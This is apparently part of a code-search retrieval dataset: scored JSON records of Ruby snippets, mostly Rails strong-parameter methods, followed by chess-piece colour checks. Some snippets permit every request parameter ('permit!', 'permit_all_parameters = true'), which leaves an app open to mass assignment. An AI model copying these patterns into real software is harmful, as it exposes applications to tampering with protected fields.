"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5992013",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59919006",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.599182",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980991",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.59676576",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.5960269",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.59588194",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.59585214",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.59578323",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5953503",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.5952524",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.59432703",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.5939858",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59388995",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59388995",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933866",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.5930038",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.5925672",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5924214",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59169805",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59106255",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.5910254",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.59086037",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5906149",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5898294",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.58981514",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.5896171",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.58944154",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.58943397",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5892325",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.5887239",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.58842856",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.5880209",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.5874584",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.58694917",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.5868719",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.58669394",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5866552",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.58662945",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.5864085",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.58623236",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.5862258",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.58597904",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58579135",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.58542645",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.5853335",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.58517563",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5850614",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
61bc79006be00d259f33b2059e9f9a5f
|
Returns true if the piece is black.
|
[
{
"docid": "00cfee9914e09c2817f60910520df26c",
"score": "0.79379207",
"text": "def black?\n color == :black\n end",
"title": ""
}
] |
[
{
"docid": "5e4b754cb71f6f88ba36b5cb00453aab",
"score": "0.81386006",
"text": "def black?\r\n BLACK == @colour\r\n end",
"title": ""
},
{
"docid": "ef7e8302707283336ed8c762e9fe3e98",
"score": "0.8024763",
"text": "def piece_is_black?(piece)\n\tpiece === piece.downcase\nend",
"title": ""
},
{
"docid": "209047cdd43ae5c88d32a850b7522262",
"score": "0.7781874",
"text": "def is_black?(sqr)\n (9818..9823).cover?(@board[sqr[0]][sqr[1]].ord)\n end",
"title": ""
},
{
"docid": "820db9716456076a304b8c907c0bfc7f",
"score": "0.76902604",
"text": "def black?\n @color == :black\n end",
"title": ""
},
{
"docid": "c75f5e3f70361d08814b9e07a0110fc9",
"score": "0.76824117",
"text": "def en_passant_black?(piece)\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c, r - 1], [c, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color == \"white\"\n return true\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "2187c72b3acfa5ada41a468f61995731",
"score": "0.7676827",
"text": "def black?\n !color\n end",
"title": ""
},
{
"docid": "02e54691d5fc7ab4a12a6d9c730a17b4",
"score": "0.7653706",
"text": "def black?\n color.eql?('black')\n end",
"title": ""
},
{
"docid": "02e54691d5fc7ab4a12a6d9c730a17b4",
"score": "0.7653706",
"text": "def black?\n color.eql?('black')\n end",
"title": ""
},
{
"docid": "60241d240c36bb18a813a2892ddf9e79",
"score": "0.76350886",
"text": "def black?\n color == :Black\n end",
"title": ""
},
{
"docid": "ccb748edb92fb812555c22f261f408ae",
"score": "0.7634309",
"text": "def black?(p)\n return p.intensity == 0 || (Magick::MaxRGB.to_f / p.intensity) < 0.5\n end",
"title": ""
},
{
"docid": "ca1086e4a5fcc6dae7f54d0742bba5bb",
"score": "0.7625822",
"text": "def is_black?\n return true if classes.match(/black/)\n return false\n end",
"title": ""
},
{
"docid": "9deb1c4ac22118f41b0b10bba1d8a0fb",
"score": "0.75363207",
"text": "def isBlack?(pixel)\t\n\treturn false if pixel.green == 65535 and pixel.blue == 65535 or pixel.red == 65535\n\treturn true\nend",
"title": ""
},
{
"docid": "ad251ba278b22d366328fd8fb96b5efd",
"score": "0.7478051",
"text": "def black?\n reel == 'BL'\n end",
"title": ""
},
{
"docid": "666b8978f018870f0eec10d1215a987e",
"score": "0.74142",
"text": "def black?\n @r == 0.0 && @g == 0.0 && @b == 0.0\n end",
"title": ""
},
{
"docid": "35d24604a4f0c54b874883e04b8e74bb",
"score": "0.74141735",
"text": "def is_black(pnm, x, y)\n if 0 <= x && x < pnm.width && 0 <= y && y < pnm.height then\n return pnm.get(x, y) < 128\n else\n false\n end\nend",
"title": ""
},
{
"docid": "1925321cfe23958e1866315a5210a189",
"score": "0.7248844",
"text": "def white?\r\n WHITE == @colour\r\n end",
"title": ""
},
{
"docid": "1bffe2bdcbe981726ce3655c027fc31f",
"score": "0.72139764",
"text": "def is_black? r, c\n solution_letter_at(r,c) == '.'\n end",
"title": ""
},
{
"docid": "d7acf86e898a74abed7546918fc7843c",
"score": "0.7165368",
"text": "def capturable?(x, y)\n\t (piece_present_at?(x, y)) && !is_same_color?(x, y)\n end",
"title": ""
},
{
"docid": "bdc4213b0e1ef00c96c1310258140fc5",
"score": "0.7135418",
"text": "def draw?\n status = false\n white, black = get_pieces\n # Both arrays must contain the king. Discard them.\n white.delete('k')\n black.delete('k')\n\n if white.size == 0 # white has only a king\n if black.size == 0 || # black has only a king or a single knight/bishop\n (black.size == 1 && (black.include?('n') || black.include?('b')))\n status = true\n end\n elsif black.size == 0 && # black has only a king\n white.size == 1 && # white has a king and a single knight/bishop\n (white.include?('n') || white.include?('b'))\n status = true\n end\n status\n end",
"title": ""
},
{
"docid": "121980df159c418dafa8fea46094620b",
"score": "0.7134021",
"text": "def is_white?(sqr)\n (9812..9817).cover?(@board[sqr[0]][sqr[1]].ord)\n end",
"title": ""
},
{
"docid": "fc14d940e2d4cca0e8d87f199fd897e7",
"score": "0.70635855",
"text": "def en_passant_white?(piece)\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c, r - 1], [c, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color == \"black\"\n return true\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "96b76ff86da7e56d8250fd0c974c1fd5",
"score": "0.7046152",
"text": "def attack_correct_color\n if @pawn_piece == \"P(b)\"\n @white_pieces.each do |piece|\n if piece == @board.piece_at_coordinates(@last)\n return true\n end\n end\n elsif @pawn_piece == \"P(w)\"\n @black_pieces.each do |piece|\n if piece == @board.piece_at_coordinates(@last)\n return true\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a9df5bff069213c0418b1ae57be7942f",
"score": "0.7041928",
"text": "def black_pieces\n grid.flatten.select{ |piece| piece.is_a?(Piece) && piece.color == 'black' }\n end",
"title": ""
},
{
"docid": "1f08c09bfbce3fb4778a087a98395744",
"score": "0.70394194",
"text": "def capturable?(x, y)\n piece_present_at?(x, y) && !same_color?(x, y)\n end",
"title": ""
},
{
"docid": "1611498c9135ce403bf72b98a988d0dc",
"score": "0.70189476",
"text": "def white?\n color == :White\n end",
"title": ""
},
{
"docid": "3cba8c54c29ef600ed1831a7d55b0c8a",
"score": "0.6987983",
"text": "def white?\n color == :white\n end",
"title": ""
},
{
"docid": "3c85f43b2090e00a795c16b0c0d7e5cd",
"score": "0.68904483",
"text": "def won?(color)\n\t\tpieces.all?{|piece| piece.color == color }\n\tend",
"title": ""
},
{
"docid": "c57746f7aac272c2e8d91f734c93e588",
"score": "0.6889078",
"text": "def in_check?(color)\n # Find the active player's king\n king = find_king(color)\n\n # Distinguish which pieces belong to the opponent.\n opponent_color = (color == 'white') ? 'black' : 'white'\n\n square_threatened_by?(opponent_color, king.x_coord, king.y_coord)\n end",
"title": ""
},
{
"docid": "35067cf55466f8976e7b917b28a35988",
"score": "0.6885269",
"text": "def blacks\n @matrix.select { |piece| piece && piece.color == :b }\n end",
"title": ""
},
{
"docid": "a525b74eee132286cbd837a7cbd103a9",
"score": "0.68707657",
"text": "def check?(color)\n if color == :white\n player = @white_player\n other_player = @black_player\n else\n player = @black_player\n other_player = @white_player\n end\n\n king_position = player.king.position\n player.king.attacking_pieces = []\n\n other_player.pieces.each do |piece|\n begin\n if piece.check_move(king_position)\n player.king.attacking_pieces << piece\n end\n rescue\n end\n end\n return true if player.king.attacking_pieces.length > 0\n return false\n end",
"title": ""
},
{
"docid": "ad670f9a9cf46b586f4a10f192fcb711",
"score": "0.68493617",
"text": "def capture_piece?\n return false if destination_piece && destination_piece.color == color\n true\n end",
"title": ""
},
{
"docid": "a5960aee68fb78e43b5bfec2e8b6b860",
"score": "0.68421406",
"text": "def black_pawn_check?(piece, column, row)\n if piece.is_a?(Pawn) && piece.color == \"black\"\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c - 1, r - 1], [c - 1, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "489ddeb86e3eb481e9ee0fe6f4849f4b",
"score": "0.68409246",
"text": "def valid_piece(piece, color)\n\t\tif @board[piece].class != Square and @board[piece].color == color\n\t\t\treturn piece\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ac6a9c93c6a0d636955c6bcfc0007148",
"score": "0.6840772",
"text": "def white?\n color.eql?('white')\n end",
"title": ""
},
{
"docid": "ac6a9c93c6a0d636955c6bcfc0007148",
"score": "0.6840772",
"text": "def white?\n color.eql?('white')\n end",
"title": ""
},
{
"docid": "f494daee5af538810d28354d9aba8951",
"score": "0.68337154",
"text": "def in_check?\n game.pieces.where(is_black: !is_black).each do |piece|\n return true if piece.move_valid?(x_position, y_position)\n end\n false\n end",
"title": ""
},
{
"docid": "aba28ff5a8f198922562f28f07271268",
"score": "0.68214375",
"text": "def is_red?\n return false if classes.match(/black/) || classes.match(/white/)\n return true\n end",
"title": ""
},
{
"docid": "5edef9396221cc09b17af8186457f432",
"score": "0.67860144",
"text": "def checkmate?(color)\n opponent = ( color == :black ? :white : :black )\n\n self.pieces(opponent).each do |piece|\n return false if piece.valid_moves.any?\n end\n true\n end",
"title": ""
},
{
"docid": "0a09a8bc5aebf393c3b2ebc2511fecf0",
"score": "0.6774282",
"text": "def color_check\n\t\tpiece_color(@piece_at_origin) != piece_color(@piece_at_destination)\n\tend",
"title": ""
},
{
"docid": "ab986ddc9f01f3e602923c4d8661020b",
"score": "0.67595625",
"text": "def check?(color)\n king = pieces.find_by(type: 'King', color: color)\n opposing_pieces = pieces.where(color: king.opposite_color, captured: false)\n\n opposing_pieces.each { |opposing_piece| return true if opposing_piece.valid_move?(king.x_coordinate, king.y_coordinate) }\n false\n end",
"title": ""
},
{
"docid": "d03d19350f5fa78eab7512ce8bfcaa45",
"score": "0.6747015",
"text": "def in_checkmate?(color)\n pieces = get_pieces(color)\n pieces.all? { |piece| piece.valid_moves.none? }\n end",
"title": ""
},
{
"docid": "7278bfcef08de933abc765f125ee44d1",
"score": "0.6741761",
"text": "def right_color?\n white? && game.white_turn? || black? && game.black_turn?\n end",
"title": ""
},
{
"docid": "88480243858bae8abe8a723e2b9de212",
"score": "0.6739069",
"text": "def piece_is_white?(piece)\n\tpiece === piece.capitalize\nend",
"title": ""
},
{
"docid": "14651ddc5db530b99e21d7895d80aecf",
"score": "0.67229563",
"text": "def piece\n @color == :black ? 1 : 2\n end",
"title": ""
},
{
"docid": "54bf8668d9007fb280c3c89e830b57bb",
"score": "0.6681494",
"text": "def checkmate?(color)\n pieces(color).all? { |piece| piece.valid_moves.empty? }\n end",
"title": ""
},
{
"docid": "80fc9407563df7a8637093bcb2b221c1",
"score": "0.66593933",
"text": "def checkmate?(color)\n friendly_pieces = pieces.select { |piece| piece.color == color }\n in_check?(color) && friendly_pieces.all? { |piece| piece.valid_moves.empty? }\n end",
"title": ""
},
{
"docid": "ff753519543b55e4db892821418cec19",
"score": "0.6657332",
"text": "def check_mate?\n black_king = pieces['black_king']\n white_king = pieces['white_king']\n return false if black_king.nil? || white_king.nil?\n row, col = black_king.position\n if @squares[row][col].threatened?(black_king)\n return black_king unless safe_moves?(black_king) ||\n enclosed?(black_king) ||\n safe_from_threats?(black_king)\n end\n row, col = white_king.position\n if @squares[row][col].threatened?(white_king)\n return white_king unless safe_moves?(white_king) ||\n enclosed?(white_king) ||\n safe_from_threats?(white_king)\n end\n false\n end",
"title": ""
},
{
"docid": "881580d9b6cacaf68811883145d29492",
"score": "0.66542614",
"text": "def check_if_check color = @color\n king = find_king color == :white ? :black : :white\n\n check_all_possible_moves(color).include? king\n end",
"title": ""
},
{
"docid": "8650ba769b717bc0e451525723c32904",
"score": "0.66394347",
"text": "def pawn_cant_double(piece, case_from)\n if piece.color == 'white'\n return true if case_from[1] != 1\n elsif piece.color == 'black'\n return true if case_from[1] != 6\n end\n return false\n end",
"title": ""
},
{
"docid": "d7987bb9433c13f411c13cd0402b3e2d",
"score": "0.6628119",
"text": "def in_check?(color)\n opp_pieces = get_pieces.select { |piece| piece.color != color}\n opp_pieces.each do |piece|\n piece.possible_moves.each do |move|\n if self[*move].is_a?(King)\n return true\n end\n end\n end\n false\n end",
"title": ""
},
{
"docid": "6a7630556668655d1e4f4e24f53c227d",
"score": "0.6624733",
"text": "def checkmate?(color)\n own_pieces = same_pieces(color)\n own_pieces.each{ |piece| return false if piece.valid_moves.length > 0 }\n true\n end",
"title": ""
},
{
"docid": "3889855d8e48ea0742de971c344f45e6",
"score": "0.66231924",
"text": "def in_check?(color)\r\n king_loc = get_king_location(color)\r\n opposite_color = (color == :white) ? :black : :white\r\n #go through entire board and look at each piece of opposite color and see if king_location\r\n #is included inside of each opponent's capture array\r\n 8.times do |x|\r\n 8.times do |y|\r\n piece = get_cell(x,y).value\r\n if piece != nil && piece.color == opposite_color && piece.captures(x,y,self).include?(king_loc)\r\n #puts \"in_check? reports true at #{x},#{y}\"\r\n #puts piece.captures(x,y,self)\r\n return true\r\n end\r\n end\r\n end\r\n #puts \"in_check? reports false\"\r\n false\r\n end",
"title": ""
},
{
"docid": "5ef6d4329805296f4281d65fd71abd67",
"score": "0.66205704",
"text": "def en_passant_capture?(piece, column, row)\n if piece.column == @en_passant.column && piece.row - @en_passant.row == 1 ||\n @en_passant.row - piece.row == 1\n if piece.color == \"black\" && column == @en_passant.column - 1 && row == @en_passant.row\n return true\n elsif piece.color == \"white\" && column - @en_passant.column == 1 && row == @en_passant.row\n return true\n end\n end \n return false\n end",
"title": ""
},
{
"docid": "ccde81da783a002d8843c911abc0a101",
"score": "0.66201425",
"text": "def black_pieces\n pieces.select { |name, piece| name = name.include?('black')}\n end",
"title": ""
},
{
"docid": "4dd79d6a9730f78bae17044ab172ddd9",
"score": "0.6616213",
"text": "def win?(color)\n @grid.find_all do |line| \n line.any? { |piece| piece != nil && piece.color != color }\n end.empty?\n end",
"title": ""
},
{
"docid": "3820c4a2cbd2113f4a52fe7c613564e8",
"score": "0.66139746",
"text": "def isAWhite?\n\t\t\treturn @state == :white\n\tend",
"title": ""
},
{
"docid": "9ce64dfc35701dc245adb056ccaba4d0",
"score": "0.6612409",
"text": "def color_check(piece)\n if piece.color === self.color\n puts \"cant attack same color\"\n return false\n elsif piece.color != self.color\n puts \"attack!\"\n return kill(piece)\n end\nend",
"title": ""
},
{
"docid": "ea4fbbbd7385c3e17f13dddef6a3910a",
"score": "0.6610512",
"text": "def checkmate(color)\n pieces = get_pieces(color)\n\n pieces.each do |piece|\n return false unless piece.valid_moves.empty?\n end\n true\n end",
"title": ""
},
{
"docid": "47b6956699750d4a43ec8b72da92ac97",
"score": "0.6608219",
"text": "def capturable?\n opponent_pieces = game.uncaptured_pieces(!color)\n opponent_pieces.each do |piece|\n if piece.valid_move?(x_coord, y_coord)\n return true\n end\n end\n false\n end",
"title": ""
},
{
"docid": "53b768fd94f98cde4fccea21eb3e4e8a",
"score": "0.6602829",
"text": "def is_white?\n return true if classes.match(/white/)\n return false\n end",
"title": ""
},
{
"docid": "e86e82a6491b659e9963fdbb75a7a898",
"score": "0.6596568",
"text": "def in_check?(color)\n enemy_pieces = pieces.select {|piece| piece.color != color }\n\n enemy_pieces.any? { |piece| piece.moves.include?(my_king(color).pos) }\n end",
"title": ""
},
{
"docid": "7c2fdb7ac98f34682dd09492c3426ddf",
"score": "0.65869546",
"text": "def in_check?(board, color)\n if color == 'white'\n #get all of black's possible moves\n moves = get_all_moves(board, 'black')\n #get the position of the white king\n king = board.pieces.find {|piece| piece.char == \"\\u2654\"}\n #for each of black moves, if the destination is where the king is, return true\n moves.each do |move|\n return true if move[1] == king.position\n end\n return false\n else\n moves = get_all_moves(board, 'white')\n king = board.pieces.find {|piece| piece.char == \"\\u265A\"}\n moves.each do |move|\n return true if move[1] == king.position\n end\n return false\n end\nend",
"title": ""
},
{
"docid": "b75c1e6041ed03f1e9b6d902b644b259",
"score": "0.65852195",
"text": "def white?\n color\n end",
"title": ""
},
{
"docid": "4a00d1266dadc0ecf5085a22b61dfbfe",
"score": "0.65824884",
"text": "def checkmate?(color)\n if self.in_check?(color)\n if color == :black\n check_list = black_pieces\n else\n check_list = white_pieces\n end\n\n check_list.keys.each do |piece_type|\n check_list[piece_type].each do |piece|\n\n if piece.valid_moves.any?\n return false\n end\n end\n end\n\n else\n return false\n end\n\n true\n end",
"title": ""
},
{
"docid": "ebc27264b2733925517235055057829c",
"score": "0.6560118",
"text": "def white_to_play?\n\t\t\t@to_play == WHITE\t\n\t\tend",
"title": ""
},
{
"docid": "031c46481efe59e7812780ee74068e75",
"score": "0.65563464",
"text": "def in_check?(color)\n king = get_pieces(color, King)[0]\n return false if king.nil?\n\n other_color = color == :white ? :black : :white\n enemy_pieces = get_pieces(other_color)\n enemy_pieces.any? { |piece| piece.moves.include?(king.pos) }\n end",
"title": ""
},
{
"docid": "6398d80297244efc8f3dbc0165cc1697",
"score": "0.655352",
"text": "def your_piece(sq)\n piece = @board.get_piece(sq)\n piece.color == self.color\n end",
"title": ""
},
{
"docid": "dcf67b1469905d406625df3dadf96dc6",
"score": "0.65486103",
"text": "def check_if_avoid_checkmate?(piece, color)\n unless piece.is_a?(NullPiece)\n if piece.color == color\n return false unless valid_moves(piece).empty?\n end\n end\n true\n end",
"title": ""
},
{
"docid": "a03f99f50ddfde0845e91a9f1da8b235",
"score": "0.6529669",
"text": "def in_check?(color)\n king_pos = pieces(color, King).first.pos #\n opposing = pieces(Piece.opponent(color))\n opposing.each do |piece|\n return true if piece.moves.include?(king_pos)\n end\n\n false\n end",
"title": ""
},
{
"docid": "1ba42e451803293fad9491f57c9b7874",
"score": "0.65231335",
"text": "def in_check?(color)\n king_pos = find_king(color).pos\n pieces.any? do |piece|\n piece.color != color && piece.moves.include?(king_pos)\n end\n end",
"title": ""
},
{
"docid": "f7a8f88165acd131e8fd572fd34a0334",
"score": "0.651773",
"text": "def promotable?(x, y)\n y == 7 && color == \"WHITE\" || y == 0 && color == \"BLACK\"\n end",
"title": ""
},
{
"docid": "7a05e72d15c217739aa6d71fc6da3398",
"score": "0.65133065",
"text": "def checkmate?(color)\n # is color.king able to move out of LOS of other-color.piece?\n end",
"title": ""
},
{
"docid": "bbfd258f28417aa34d9dd4033a559e71",
"score": "0.6511461",
"text": "def capture?\n return valid? && @board.piece_on(@to).desc != 'E'\n end",
"title": ""
},
{
"docid": "d570ccf8e27389ba4bc3261bf5aa7953",
"score": "0.65112054",
"text": "def checkmate?(color)\n if in_check?(color)\n # no valid_moves for player pieces\n colored_pieces(color).each do |piece|\n return false if !piece.valid_moves.empty?\n end\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "dea74b83bc82bf2b9b68c7dc5d68c140",
"score": "0.6509644",
"text": "def white_pawn_check?(piece, column, row)\n if piece.is_a?(Pawn) && piece.color == \"white\"\n c = piece.column\n r = piece.row\n possible = []\n check_sides = [[c + 1, r - 1], [c + 1, r + 1]]\n check_sides.each do |check|\n if check.all? { |value| value >= 0 } && check.all? { |value| value <= 7 }\n possible << check\n end\n end\n possible.each do |item|\n if @board.check(item[0], item[1]) != \"___\" && \n @board.check(item[0], item[1]).color != piece.color &&\n @board.check(item[0], item[1]).is_a?(King)\n @in_check = @board.check(item[0], item[1])\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "103fe629c3891e2b1cb4411bc20bb585",
"score": "0.65015006",
